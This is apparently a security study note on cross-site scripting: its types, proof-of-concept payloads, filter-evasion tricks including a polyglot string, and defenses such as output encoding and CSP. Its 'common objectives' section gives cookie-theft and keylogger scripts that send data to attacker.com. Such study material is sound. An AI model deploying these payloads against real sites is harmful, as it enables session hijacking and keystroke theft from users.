Cross-Site Scripting (XSS)
Cross-site scripting is a code-injection vulnerability class in which an attacker causes a victim’s browser to execute attacker-controlled JavaScript in the security context of a trusted origin. XSS bypasses the same-origin policy by making the malicious script indistinguishable from legitimate page content. 1
OWASP classifies XSS as an injection attack and lists it in the Top 10 under “A03:2021 – Injection.” The three canonical variants are reflected, stored, and DOM-based.
Types of XSS
| Type | Where the payload lives | Execution trigger |
|---|---|---|
| Reflected | URL, form input, or request body | Server echoes the payload back in the response |
| Stored | Server-side database, comment field, profile | Any user who views the stored content |
| DOM-based | Client-side JavaScript sinks | Client-side script writes untrusted data into the DOM |
With reflected and stored XSS, the server embeds the attack into the rendered page. With DOM-based XSS, the client inserts the malicious JavaScript (even if the data originally came from the server). Ask: “Did the server put it there, or did my client put it there?” 2
Basic proof-of-concept
The canonical alert box:
<script>alert('XSS');</script>A less intrusive test uses DOM manipulation:
<script>
xssTest = document.querySelector("h1");
xssTest.innerHTML = "XSS was here!";
</script>Filter evasion techniques
Quote breaking
Break out of the context you’re injected into:
">— escape an HTML attribute</pre>or</textarea>— escape preformatted blocks';followed by;//— escape inline JavaScript
Note: <script> tags cannot be injected into inline JavaScript because HTML parsers greedily match </script>.
Single-pass filter bypass
Many regex filters run only once. <s<script>cript> and </s</script>cript> become <script> after the inner tag is stripped. This fails against filters that remove single characters (< and >).
Case sensitivity tricks
JavaScript is case-sensitive, but HTML tags, attributes, and URL schemes are not:
javaSCRIPT:≡javascript:ONCLICK≡onclick
Polyglot payloads
Strings designed to execute in multiple contexts simultaneously. A lightly modified TryHackMe example:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!><sVg/<sVg/oNloAd=alert('XSS')//>>String fragmentation
Break up filtered keywords:
alert("H" + "ello")
eval("a" + "lert")("Hello")
window["a" + "lert"]("Hello")For extreme filtering, use JSFuck — an esoteric subset of JavaScript using only []()!+.
iframe and img injection
The javascript: pseudo-protocol works in src attributes:
<iframe src="javascript:alert('XSS');"/>
<img src="javascript:alert('XSS');"/>JavaScript in an <iframe> does not have access to the parent page’s DOM.
User-interaction fallbacks
javascript: URIs in anchor href or event attributes (onmouseover, onclick) require user interaction:
<a href="javascript:alert('XSS')">Click me</a>Common objectives
Cookie theft
<script>
fetch('https://attacker.com/log?cookie=' + btoa(document.cookie));
</script>Keylogging
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?cookie=' + btoa(document.cookie)
+ '&keypress=' + btoa(e.key));
}
</script>Including cookies lets the attacker correlate keystrokes to victims.
Port scanning
JavaScript can infer open ports by timing image loads or fetch requests. See aabeling/portscan for an example.
Website defacement
Use document.getElementById() or document.querySelector() to locate elements, then modify innerHTML (HTML) or textContent (plain text). Note: <script> tags inserted via innerHTML are not executed by the HTML parser.
Defenses
The core defense is contextual output encoding:
- Data passed to JavaScript must be JavaScript-escaped.
- Data written into the DOM must be HTML-escaped.
- Know which context your data is in, and escape when crossing boundaries.
Additional controls:
- Content Security Policy (CSP) — restrict script sources and inline execution
- HttpOnly cookies — prevent
document.cookieaccess - Trusted Types — browser-enforced DOM sink sanitization
- Framework auto-escaping — React, Angular, and Vue escape by default
Sources
- Cross-Site Scripting (XSS) — OWASP
- Cross Site Scripting Prevention Cheat Sheet — OWASP
- XSS Filter Evasion Cheat Sheet — OWASP
- Document: querySelector() method — MDN
- Document: cookie property — MDN
See also
- sql-injection-attacks
- netcat — for catching exfiltrated data
- python — for building quick HTTP listeners
- http-header-command-injection — the command-injection sibling class that hides payloads in HTTP headers
- insecure-password-reset-tokens — alternate-authentication-path attacks that often chain with XSS
- classic-microsoft-excel-command-injection-exploit — DDE payloads delivered via phishing, often paired with XSS-hosted lures